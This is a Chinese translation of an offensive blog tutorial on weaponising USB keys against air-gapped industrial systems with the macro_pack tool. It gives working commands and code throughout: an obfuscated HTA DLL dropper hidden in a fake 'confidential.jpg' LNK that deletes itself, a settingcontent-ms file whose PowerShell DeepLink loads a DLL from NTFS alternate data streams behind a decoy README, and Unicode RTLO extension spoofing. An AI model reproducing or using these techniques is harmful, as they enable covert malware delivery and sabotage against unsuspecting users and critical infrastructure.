本文翻译自:http://blog.sevagas.com/?Advanced-USB-key-phishing


本文讲解一些恶意USB key被攻击者利用用于工业系统攻击的场景。

简介

针对工业系统的攻击一般都是通过自动的恶意软件payload完成的,特点是不需要连接到远程系统。Payload也不需要窃取数据,因为主要目的是破坏,如Stuxnet震网病毒。攻击者需要绕过的安全防护措施包括电信网络过滤或完全的airgap。

在这样的环境下,攻击向量需要处理的规则有:

攻击的目的就是传播和运行二进制payload。在下面的例子中,payload就是一个DLL文件。

LNK POC

策略

在POC中,研究人员使目标认为打开的是一个图像(confidential.jpg),而实际上打开的是恶意的LNK快捷方式文件(confidential.jpg.lnk)。HTA dropper隐藏在快捷方式文件中,LNK文件会执行HTA,而HTA会释放并执行DLL payload,并用诱饵文件(confidential.jpg)替换快捷方式。

构建HTA DLL释放payload

研究人员用macro_pack创建了一个会释放和执行payload.dll的混淆过的HTA payload:

echo DllMain | macro_pack.exe --template=EMBED_DLL --embed=payload.dll --obfuscate -G payload.hta

EMBED_DLL模板会创建一段VB代码,代码会释放用-embed扩展加载的文件,并用Rundl32l加载。研究人员用该模板来运行DLL的DllMain函数。

研究人员用-G选项生成一个HTA文件,而且文件中的VB代码是混淆过的。
可以使用mshta来检查HTA文件是否工作,并调用临时文件夹释放的DLL文件。

构造释放payload的HTA图片

研究人员用EMBED_EXE macro_pack 模板在特定目录内潜入、释放和运行payload。在本例中,研究人员使用的图片是confidential.jpg。目标是在能够同样的文件夹中释放一个恶意LNK来在DLL payload执行时替换该LNK。

echo "confidential.jpg" | macro_pack.exe -t EMBED_EXE --embed=confidential.jpg -o -G pic.hta

如果双击pic.hta,可以看到释放到当前文件夹的confidential.jpg图片,并被默认图片浏览器打开。

在自删除的HTA文件中装配

研究人员必须生成DLL释放器来在macro_pack中潜入到二进制payload,图片释放器会手动复制粘贴来生成最终的HTA payload。
指令:

AutoOpen2
AutoOpen
Set objFSO = CreateObject( "Scripting.FileSystemObject" )
Set WshShell = CreateObject("WScript.Shell") 
objFSO.DeleteFile window.document.location.pathname
Close

payload.hta文件就会释放并运行这个图片,然后运行DLL,最后删除自己。

构建恶意LNK

研究人员利用HTA文件的多语言特性,将HTA嵌入到LNK文件中。研究人员希望LNK文件名为confidential.jpg.lnk,因此要运行下面的代码:

%windir%\system32\cmd.exe /c start "" "mshta" "%CD%\confidential.jpg.lnk"

然后使用macro_pack来生成LNK。研究人员可以直接生成快捷方式到USB Key中来避免系统对快捷方式文件的修改。USB所在目录是G:

macro_pack.exe -G G:\confidential.jpg.lnk

当提示shortcut_Target时,输入:

%windir%\system32\cmd.exe /c start "" "mshta" "%CD%\confidential.jpg.lnk"

当提示Shortcut_Icon时,输入:

%windir%\system32\imageres.dll,67 (Index 67 corresponds to JPG images icon in imageres.dll)

当创建LNK快捷方式文件时,研究人员将其添加到HTA代码中:

copy /b G:\confidential.jpg.lnk+cmd.hta G:\confidential.jpg.lnk

这就完成了钓鱼向量。

测试

将confidential.jpg.lnk复制到USB key中,将USB key插入到另一个Windows机器上。访问USB key并双击confidential.jpg文件,就可以看到该文件。

DLL文件同时也加载了,但是是隐藏的,可以在任务管理器中看到。DLL在临时文件夹中释放的信息为Document1.asd,并且在了一行VB代码中执行:

CreateObject("WScript.Shell").Run "%windir%\system32\rundll32.exe %temp%\Document1.asd,<<<DLL_FUNCTION>>>", 0

之后可以看到LNK文件不在在USB key上了,而是被真实的图片文件替代了。

恶意设置的POC

策略

在第二个POC中,要让用户相信打开的是README.txt文件,而后台真正运行的是恶意的settingcontent-ms文件。

因为settingcontent-ms文件遵循严格的XML方案,所以像POC1中一样将其添加到HTA文件中看似不太可能。但研究人员使用NTFS Alternate Data Stream来运行和隐藏DLL payload。

settingcontent-ms文件会运行隐藏在Alternate Data Stream (README.txt.settingcontent-ms:R)中的DLL,并运行Notepad来展示保存在了一个ADS(README.txt.settingcontent-ms:T. txt ) 中的诱饵文件。settingcontent-ms文件的好处是没有LNK或URI文件这样的快捷方式箭头。

构建诱饵文本文件

首先,要创建一个目标打开readme文件时notepad要展示的简单文本文件。

echo "This is a simple README file." > Text.txt

构建恶意设置快捷方式文件

研究人员使用macro_pack来生成settincontent-ms文件。比如,生成一个打开计算器的假的README.txt文件:

echo 'C:\windows\system32\cmd.exe /c calc.exe' '.' |  macro_pack.exe -G README.txt.settingcontent-ms

DLL和诱饵文件会隐藏在USB key的NTFS文件系统的Alternate Data Stream中。但问题是settingcontent-ms文件默认是在C:\windows\system32\中打开的,也就是说必须要找出一种方法来找到USB key所在卷。因此,研究人员选择了powershell:

%windir%\system32\cmd.exe /c powershell.exe $drive=(Get-WmiObject Win32_Volume -Filter "DriveType='2'").Name;Start-Process "notepad.exe" "$drive\README.txt.settingcontent-ms:T.txt"; Start-Process "control.exe" "$drive\README.txt.settingcontent-ms:R"

这段代码的意思是:

注:DLL也可以用POC 1中的rundll32方法加载。

最终的README.txt.settingcontent-ms文件是这样的:

<?xml version="1.0" encoding="UTF-8"?>
<PCSettings>
  <SearchableContent xmlns="http://schemas.microsoft.com/Search/2013/SettingContent">
    <ApplicationInformation>
      <AppID>windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel</AppID>
      <DeepLink>%windir%\system32\cmd.exe /c powershell.exe $drive=(Get-WmiObject Win32_Volume -Filter "DriveType='2'").Name;Start-Process "notepad.exe" "$drive\README.txt.settingcontent-ms:T.txt"; Start-Process "control.exe" "$drive\README.txt.settingcontent-ms:R"</DeepLink>
      <Icon>.</Icon>
    </ApplicationInformation>
    <SettingIdentity>
      <PageID></PageID>
      <HostID>{12B1697E-D3A0-4DBC-B568-CCF64A3F934D}</HostID>
    </SettingIdentity>
    <SettingInformation>
      <Description>@shell32.dll,-4161</Description>
      <Keywords>@shell32.dll,-4161</Keywords>
    </SettingInformation>
  </SearchableContent>
</PCSettings>

创建Alternative Data Streams.

首先,要确保USB key格式化为NTFS文件系统;
然后将README.txt.settingcontent-ms文件移动到NTFS USB key上。

在本例中,USB使用的卷名为G。下面开始创建ADS:
README.txt.settingcontent-ms:R 流中含有DLL:

type payload.dll > G:\README.txt.settingcontent-ms:R

文件G:\README.txt.settingcontent-ms:T.txt 流含有诱饵文件:

type Text.txt > G:\README.txt.settingcontent-ms:T.txt

使用sysinternal "Streams"可以检查USB key中是否创建ADS成功:

测试

将USB key插入另一台windows 10主机,访问USB并双击README.txt,就可以看到DLL加载的同时,notepad打开txt文件并展示文本内容:

This is a simple README file.

Unicode RTLO POC

策略

下面证明通过注入Unicode Right-To-Left-Override(RTLO,文字倒序)来欺骗文件扩展。这是隐藏文件扩展名的好办法,因为字符经RTLO处理后会从右到左显示。比如,可以生成一个用macro_pack生成一个含有假jpg扩展的HTA文件:

echo calc.exe | macro_pack.exe -t CMD -G calc.hta --unicode-rtlo=jpg

在资源管理器中,本应是calc[rtlo]gpj.hta的文件会显示为calcath.jpg。这种方法在Ubuntu这样的系统中也是有用的。

练习

使用Unicode RTLP进行钓鱼攻击有很多种方法。其中一种是将恶意exe文件伪装成zip文件。在这种攻击场景中,当受害者点击假的zip文件,exe就会运行payload并打开隐藏在文件资源或ADS中的诱饵文件。

有兴趣的朋友可以自己练习测试一下Unicode RTLO。

源链接

Hacking more

...